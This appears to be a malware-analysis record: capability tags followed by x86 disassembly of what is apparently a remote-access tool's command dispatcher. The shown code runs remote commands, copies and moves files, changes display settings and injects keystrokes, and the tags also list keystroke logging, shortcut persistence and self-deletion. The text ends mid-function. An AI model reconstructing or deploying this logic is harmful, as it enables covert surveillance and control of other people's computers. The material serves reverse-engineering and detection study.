Function at 0x4e0a18
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Copy file
Create directory
Create process on windows
Delete file
Log keystrokes via polling
Move file
Persist via lnk shortcut
Reference cloudflare dns server
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x16c
push 0
push 0
dec ecx
jne 0x4e0a20
push ebx
push esi
push edi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x19]
mov edx, dword [0x4707e0]
call fcn.00405278
xor eax, eax
push ebp
push 0x4e7ae9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x53f320], 0x805
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
mov dword [0x549438], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
add eax, 0xfffffff6
cmp eax, 0xf2
ja case.0x4e0a7d.10
mov al, byte [eax + 0x4e0a84]
jmp dword [eax*4 + 0x4e0b77]
mov eax, dword [ebp - 0x2c]
mov ebx, dword [eax + 0x10]
push 0x4e7b04
push dword [0x54965c]
push 0x4e7b18
lea eax, [ebp - 0xd8]
mov edx, 3
call fcn.0040494c
push 0x4e7b04
push dword [0x54965c]
push 0x4e7b28
lea eax, [ebp - 0xdc]
mov edx, 3
call fcn.0040494c
lea eax, [ebp - 0xd8]
call fcn.004db5b4
lea eax, [ebp - 0xdc]
call fcn.004db5b4
cmp ebx, 0xa
jne 0x4e0dd6
lea edx, [ebp - 0x8c0]
mov eax, 0x13
call fcn.004ab8a8
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [0x54964c]
mov edx, dword [0x54965c]
call fcn.0046c30c
test al, al
je case.0x4e0a7d.10
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0a7d.10
cmp ebx, 0xb
jne 0x4e0e2d
push 0
mov eax, dword [0x540f14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov edx, 0x4e7b38
call fcn.004d92e4
test eax, eax
jne case.0x4e0a7d.10
lea edx, [ebp - 0x8c4]
mov eax, 0x13
call fcn.004ab8a8
mov eax, dword [ebp - 0x8c4]
mov edx, dword [0x54965c]
call fcn.0046d0fc
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0a7d.10
cmp ebx, 0xc
jne 0x4e0eec
mov edx, dword [0x540f14]
mov edx, dword [edx]
mov eax, 0x4e7b44
call fcn.00404bc8
test eax, eax
jne case.0x4e0a7d.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x24], eax
push 0x4e7b50
mov eax, dword [0x540f14]
push dword [eax]
push 0x4e7b60
lea eax, [ebp - 0x8c8]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0x8c8]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x8cc]
mov edx, dword [ebp - 0xdc]
call fcn.00404e90
mov eax, dword [ebp - 0x8cc]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046dff0
test al, al
je 0x4e0edf
lea edx, [ebp - 0x8d0]
mov eax, 0x13
call fcn.004ab8a8
mov eax, dword [ebp - 0x8d0]
mov edx, dword [0x54965c]
call fcn.0046d0fc
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0x24]
call fcn.004037ac
jmp case.0x4e0a7d.10
cmp ebx, 0xd
jne case.0x4e0a7d.10
lea edx, [ebp - 0x8d4]
mov eax, 0x13
call fcn.004ab8a8
mov eax, dword [ebp - 0x8d4]
mov edx, dword [0x54965c]
call fcn.0046d0fc
mov eax, dword [ebp - 0xd8]
call fcn.00409988
mov eax, dword [ebp - 0xdc]
call fcn.00409988
jmp case.0x4e0a7d.10
mov eax, 0x54959c
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x8d8]
mov eax, 0x125
call fcn.004ab8a8
mov eax, dword [ebp - 0x8d8]
push eax
lea eax, [ebp - 0x8dc]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x8dc]
mov ecx, dword [0x54959c]
pop edx
call fcn.0046dba4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
call fcn.004dba44
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x8e0]
mov eax, 0x125
call fcn.004ab8a8
mov eax, dword [ebp - 0x8e0]
push eax
lea eax, [ebp - 0x8e4]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x8e4]
xor ecx, ecx
pop edx
call fcn.0046dba4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
call fcn.004dba44
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x549731]
jne case.0x4e0a7d.10
cmp byte [0x53fb6c], 0
jne case.0x4e0a7d.10
xor eax, eax
push ebp
push 0x4e108f
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb6c], 1
cmp byte [0x549724], 0
je 0x4e105d
mov byte [0x54973d], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5498d0], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
call fcn.004def30
jmp 0x4e107a
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [0x549731]
mov edx, 0x76
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0a7d.10
mov byte [0x53fb6c], 0
ret
cmp dword [0x53f3a8], 0x5250390
jb case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
jne 0x4e10cf
mov eax, dword [0x540d84]
mov eax, dword [eax]
push eax
mov eax, dword [0x54096c]
mov eax, dword [eax]
mov ecx, 0x4e7b6c
mov edx, 0x634
call fcn.004afe54
jmp 0x4e10ee
push 0x501
mov ecx, dword [0x540c80]
mov ecx, dword [ecx]
mov edx, dword [0x540768]
mov eax, dword [0x540720]
mov eax, dword [eax]
call fcn.004af79c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 8
mov byte [0x549810], al
mov eax, 0x549743
call fcn.004045b8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 0x10
mov dword [0x5495c4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0xffff
mov dword [0x5495c8], eax
jmp case.0x4e0a7d.10
mov eax, dword [0x54096c]
mov eax, dword [eax]
call fcn.004affe4
mov edx, dword [0x540768]
mov eax, dword [0x540720]
mov eax, dword [eax]
call fcn.004af8d4
cmp dword [0x549628], 0
je case.0x4e0a7d.10
mov eax, 0x549628
call fcn.004045b8
mov al, byte [0x549460]
call fcn.004b0db0
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0x60]
call fcn.004ee8d8
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x1c]
mov dword [0x549644], eax
mov eax, dword [0x549644]
add eax, 0x5b
cmp eax, dword [0x5496d8]
jae 0x4e11d1
push 0
push 0x3e8
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e11d1
cmp eax, 0
je case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54978c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x549790], eax
push 0
push 0
push 0x502
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a7d.10
push 0
push 0
push 0x505
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a7d.10
push 0
push 0
push 0x503
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4e0a7d.10
call fcn.004df138
jmp case.0x4e0a7d.10
mov eax, dword [0x5405bc]
cmp byte [eax], 1
jne case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xff
call fcn.004dfbe8
jmp case.0x4e0a7d.10
mov eax, dword [0x5405bc]
cmp byte [eax], 1
jne case.0x4e0a7d.10
call fcn.004dfd14
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
call fcn.004dfda4
xor edx, edx
mov eax, 1
call fcn.004dfdc4
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
add eax, 0x2710
adc edx, 0
mov dword [0x53f428], eax
mov dword [0x53f42c], edx
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
xor eax, eax
call fcn.004d9870
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53fa84], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x53fa80], eax
cmp dword [0x53fa80], 0
jg case.0x4e0a7d.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
mov edx, dword [0x53fa84]
mov ax, 2
call fcn.004d9870
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
mov eax, dword [0x540ef0]
cmp dword [eax], 2
jne 0x4e13a4
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov ax, 8
call fcn.004d9870
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov ax, 1
call fcn.004d9870
jmp case.0x4e0a7d.10
cmp byte [0x53f3d8], 2
je case.0x4e0a7d.10
cmp byte [0x549742], 3
jne case.0x4e0a7d.10
cmp byte [0x549724], 0
jne case.0x4e0a7d.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x24], eax
push 0
push 0
mov eax, dword [0x549725]
call fcn.004196dc
mov dword [ebp - 0x11], 0
mov dword [ebp - 0xd], 0
push ebp
lea edx, [ebp - 0x8ec]
mov eax, 0xf3
call fcn.004ab8a8
mov ecx, dword [ebp - 0x8ec]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8e8]
call fcn.004048d8
mov eax, dword [ebp - 0x8e8]
call fcn.004e0844
pop ecx
push ebp
mov eax, dword [0x5495e4]
call fcn.004e0844
pop ecx
lea edx, [ebp - 0x15]
mov ecx, 4
mov eax, dword [0x549725]
mov ebx, dword [eax]
call dword [ebx + 8]
cmp eax, 4
jne 0x4e14d2
cmp dword [ebp - 0x15], 0x55662143
jne 0x4e149e
lea edx, [ebp - 0x3c]
mov eax, dword [0x549725]
call fcn.00470e70
push ebp
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8f0]
mov ecx, dword [ebp - 0x3c]
call fcn.004048d8
mov eax, dword [ebp - 0x8f0]
call fcn.004e0844
pop ecx
jmp 0x4e144c
mov eax, dword [0x549725]
call fcn.004196bc
sub eax, 4
sbb edx, 0
push edx
push eax
mov eax, dword [0x549725]
call fcn.004196dc
push ebp
mov eax, dword [0x5495d8]
call fcn.004e0844
pop ecx
push ebp
mov eax, dword [0x5495dc]
call fcn.004e0844
pop ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x4e152a
lea edx, [ebp - 0x8fc]
mov eax, 0xb
call fcn.004ab8a8
mov ecx, dword [ebp - 0x8fc]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x8f8]
call fcn.004048d8
mov edx, dword [ebp - 0x8f8]
lea eax, [ebp - 0x8f4]
call fcn.00404e90
mov eax, dword [ebp - 0x8f4]
push eax
mov eax, dword [ebp - 0x24]
push eax
call fcn.0046dff0
jmp 0x4e155e
lea edx, [ebp - 0x904]
mov eax, 0xb
call fcn.004ab8a8
mov ecx, dword [ebp - 0x904]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x900]
call fcn.004048d8
mov eax, dword [ebp - 0x900]
call fcn.00409988
mov eax, dword [ebp - 0x24]
call fcn.004037ac
mov eax, 0x12c
call fcn.004d91e4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
call fcn.004dfda4
xor edx, edx
mov eax, 2
call fcn.004dfdc4
push 5
mov eax, dword [0x540c9c]
call fcn.00404adc
push eax
mov eax, 0x5495e8
call fcn.00404adc
push eax
mov eax, 0x5495e4
call fcn.00404adc
push eax
push 0x4e7b7c
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0x3c]
call fcn.004db5b4
push 1
push 0
push 0
mov eax, dword [ebp - 0x3c]
call fcn.00404a84
push eax
push 0x4e7b7c
mov eax, dword [ebp - 0x28]
call fcn.0045de44
push eax
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0x3c]
call fcn.0040488c
mov ebx, eax
inc ebx
mov eax, dword [ebp - 0x2c]
lea eax, [eax + ebx + 0x20]
lea edx, [ebp - 0x40]
call fcn.00409f74
mov eax, dword [ebp - 0x40]
call fcn.0040488c
inc eax
add ebx, eax
mov eax, dword [ebp - 0x2c]
lea eax, [eax + ebx + 0x20]
lea edx, [ebp - 0x44]
call fcn.00409f74
lea edx, [ebp - 0x908]
mov eax, 0xf4
call fcn.004ab8a8
mov edx, dword [ebp - 0x908]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e16a9
lea eax, [ebp - 0x40]
call fcn.004db5b4
lea eax, [ebp - 0x44]
call fcn.004db5b4
mov edx, 0x20
mov eax, dword [ebp - 0x44]
call fcn.0040986c
push 0
mov eax, dword [ebp - 0x44]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x40]
call fcn.00404a84
push eax
call sub.kernel32.dll_CopyFileA
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x90c]
mov eax, 0xf5
call fcn.004ab8a8
mov edx, dword [ebp - 0x90c]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e18f8
mov eax, dword [ebp - 0x40]
call fcn.0040488c
cmp eax, 3
jle case.0x4e0a7d.10
lea eax, [ebp - 0x40]
call fcn.004db5b4
mov eax, dword [ebp - 0x40]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549910], al
mov eax, dword [ebp - 0x40]
cmp byte [eax + 1], 0x3a
jne 0x4e173c
mov al, byte [0x549910]
call fcn.0046b940
test al, al
je 0x4e173c
mov al, byte [0x549910]
call fcn.004b0a30
test eax, eax
jne 0x4e173c
lea edx, [ebp - 0x910]
mov al, byte [0x549910]
call fcn.004b0c2c
mov edx, dword [ebp - 0x910]
mov eax, 0x53fb68
call fcn.0040460c
jmp 0x4e1746
mov eax, 0x53fb68
call fcn.004045b8
mov eax, dword [ebp - 0x40]
call fcn.0046dd44
test al, al
je 0x4e17b9
mov eax, dword [ebp - 0x40]
call fcn.004f89c8
mov edx, 2
mov eax, dword [ebp - 0x40]
call fcn.004da8ac
cmp dword [0x53fb68], 0
je 0x4e18d2
lea eax, [ebp - 0x918]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0x40]
call fcn.00404ae4
mov ecx, dword [ebp - 0x918]
lea eax, [ebp - 0x914]
mov edx, dword [0x53fb68]
call fcn.004048d8
mov eax, dword [ebp - 0x914]
mov edx, 2
call fcn.004da8ac
jmp 0x4e18d2
mov eax, dword [ebp - 0x40]
call fcn.00462e40
test al, al
je 0x4e18d2
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a778]
call fcn.0046aa00
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4ed898
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4edae4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee11c
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 1
xor eax, eax
push ebp
push 0x4e1871
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aab4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e1878
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
cmp dword [0x53fb68], 0
je case.0x4e0a7d.10
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549910]
call fcn.004b0db0
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x920]
mov eax, 0xf6
call fcn.004ab8a8
mov edx, dword [ebp - 0x920]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e1953
lea eax, [ebp - 0x40]
call fcn.004db5b4
lea eax, [ebp - 0x44]
call fcn.004db5b4
mov edx, 0x20
mov eax, dword [ebp - 0x44]
call fcn.0040986c
push 3
mov eax, dword [ebp - 0x44]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x40]
call fcn.00404a84
push eax
call sub.kernel32.dll_MoveFileExA
jmp case.0x4e0a7d.10
lea edx, [ebp - 0x924]
mov eax, 0xf7
call fcn.004ab8a8
mov edx, dword [ebp - 0x924]
mov eax, dword [ebp - 0x3c]
call fcn.004049d0
jne 0x4e19b8
mov eax, dword [0x5495cc]
call fcn.0046dd44
test al, al
je case.0x4e0a7d.10
mov cl, 1
mov dl, 1
mov eax, dword [0x4b1580]
call fcn.004b1984
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
add eax, 0x30
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, dword [ebp - 0x5c]
mov byte [eax + 0x34], 4
mov eax, dword [ebp - 0x5c]
call fcn.0041f638
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 1
dec eax
sete byte [0x549888]
lea eax, [ebp - 0x44]
call fcn.004db5b4
cmp dword [ebp - 0x44], 0
jne 0x4e19e2
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
call fcn.0046dcbc
lea eax, [ebp - 0x3c]
call fcn.004db5b4
mov eax, 0x54987c
mov edx, dword [ebp - 0x3c]
call fcn.0040460c
mov eax, 0x549880
mov edx, dword [ebp - 0x40]
call fcn.0040460c
mov eax, 0x549884
mov edx, dword [ebp - 0x44]
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53facc], eax
cmp dword [0x53facc], 0
jg case.0x4e0a7d.10
mov eax, dword [ebp - 0x28]
call fcn.004e0268
jmp case.0x4e0a7d.10
lea eax, [ebp - 0x1d0]
push eax
push 0
push 0
call sub.user32.dll_EnumDisplaySettingsA
mov dword [ebp - 0x1a8], 0x1c0000
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x168], eax
push 1
lea eax, [ebp - 0x1d0]
push eax
call sub.user32.dll_ChangeDisplaySettingsA
jmp case.0x4e0a7d.10
call fcn.004e07a8
jmp case.0x4e0a7d.10
cmp dword [0x548430], 0x200000
jg case.0x4e0a7d.10
cmp byte [0x53f4c0], 1
jb case.0x4e0a7d.10
mov eax, dword [0x53f338]
mov dword [0x53f348], eax
mov eax, dword [0x53f33c]
mov dword [0x53f34c], eax
mov eax, dword [ebp - 0x2c]
mov ebx, dword [eax + 0x10]
mov eax, dword [ebp - 0x2c]
mov esi, dword [eax + 0x14]
push 0x14
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 1
setne dl
xor al, dl
je 0x4e1b22
push 0
push 0
push 0
push 0x14
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x14
call sub.user32.dll_keybd_event
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x18], 1
setne byte [0x53fb90]
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 2
setne dl
xor al, dl
je 0x4e1b65
push 0
push 0
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x90
call sub.user32.dll_keybd_event
push 0x91
call sub.user32.dll_GetKeyState
and ax, 1
cmp ax, 1
sete al
mov edx, dword [ebp - 0x2c]
test byte [edx + 0x18], 4
setne dl
xor al, dl
je 0x4e1ba8
push 0
push 0
push 0
push 0x91
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x91
call sub.user32.dll_keybd_event
cmp ebx, 0x14
je case.0x4e0a7d.10
cmp ebx, 0x90
je case.0x4e0a7d.10
cmp ebx, 0x91
je case.0x4e0a7d.10
mov eax, ebx
mov edx, eax
and edx, 0xfffffffe
sub edx, 0xa0
je 0x4e1bf2
sub edx, 2
je 0x4e1be4
sub edx, 2
je 0x4e1beb
jmp 0x4e1bf7
mov eax, 0x11
jmp 0x4e1bf7
mov eax, 0x12
jmp 0x4e1bf7
mov eax, 0x10
cmp eax, 0x10
jne 0x4e1c14
test esi, 0x80000000
je 0x4e1c0d
mov byte [0x53fb94], 0
jmp 0x4e1c14
mov byte [0x53fb94], 1
cmp eax, 0x12
jne 0x4e1c83
test esi, 0x1000000
jne 0x4e1c55
test esi, 0x80000000
je 0x4e1c40
mov al, byte [0x4e7b84]
not eax
and al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cea
mov al, byte [0x4e7b84]
or al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cea
test esi, 0x80000000
je 0x4e1c71
mov al, byte [0x4e7b88]
not eax
and al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cea
mov al, byte [0x4e7b88]
or al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cea
cmp eax, 0x11
jne 0x4e1cea
test esi, 0x1000000
jne 0x4e1cbe
test esi, 0x80000000
je 0x4e1cac
mov al, byte [0x4e7b8c]
not eax
and al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cea
mov al, byte [0x4e7b8c]
or al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cea
test esi, 0x80000000
je 0x4e1cda
mov al, byte [0x4e7b90]
not eax
and al, byte [0x53fab0]
mov byte [0x53fab0], al
jmp 0x4e1cea
mov al, byte [0x4e7b90]
or al, byte [0x53fab0]
mov byte [0x53fab0], al
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jne 0x4e1cf9
call fcn.004d3cdc
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jne 0x4e1d08
call fcn.004d4ffc
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jne 0x4e1d17
call fcn.004d5758
cmp byte [0x549574], 0
je 0x4e1d99
mov al, byte [0x4e7b94]
cmp al, byte [0x53fab0]
jne 0x4e1d99
cmp ebx, 0x41
jl 0x4e1d37
cmp ebx, 0x5a
jle 0x4e1d70
cmp ebx, 0x30
jl 0x4e1d41
cmp ebx, 0x39
jle 0x4e1d70
cmp ebx, 0x60
jl 0x4e1d4b
cmp ebx, 0x6f
jle 0x4e1d70
cmp ebx, 0xba
jl 0x4e1d5b
cmp ebx, 0xc0
jle 0x4e1d70
cmp ebx, 0xdb
jl 0x4e1d6b
cmp ebx, 0xde
jle 0x4e1d70
cmp ebx, 0x20
jne 0x4e1d99
test esi, 0x80000000
jne case.0x4e0a7d.10
mov edx, esi
mov eax, ebx
call fcn.004e0694
xor esi, 0x80000000
mov edx, esi
mov eax, ebx
call fcn.004e0694
jmp case.0x4e0a7d.10
mov edx, esi
mov eax, ebx
call fcn.004e0694
jmp case.0x4e0a7d.10
cmp dword [0x548430], 0x200000
jg case.0x4e0a7d.10
cmp byte [0x53f4c0], 1
jb case.0x4e0a7d.10
mov eax, dword [0x53f338]
mov dword [0x53f348], eax
mov eax, dword [0x53f33c]
mov dword [0x53f34c], eax
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jne 0x4e1deb
call fcn.004d3cdc
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jne 0x4e1dfa
call fcn.004d4ffc
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jne 0x4e1e09
call fcn.004d5758
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jle 0x4e1ff7
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0a7d.10
jmp dword [eax*4 + 0x4e1e2d]
mov eax, 0x12
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 9
call fcn.004d38ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d38ac
jmp case.0x4e0a7d.10
mov eax, 0x12
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d38ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d38ac
jmp case.0x4e0a7d.10
mov eax, 0x11
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x1b
call fcn.004d38ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d38ac
jmp case.0x4e0a7d.10
mov eax, 0x11
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x10
call fcn.004d38ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d38ac
jmp case.0x4e0a7d.10
mov eax, 0x11
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x20
call fcn.004d38ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d38ac
jmp case.0x4e0a7d.10
mov eax, 0x11
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004d3894
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x2e
call fcn.004d38ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x12
call fcn.004d38ac
push 0xa
call sub.kernel32.dll_Sleep_1
mov eax, 0x11
call fcn.004d38ac
jmp case.0x4e0a7d.10
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jle 0x4e22cf
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0a7d.10
jmp dword [eax*4 + 0x4e201b]
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 9
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
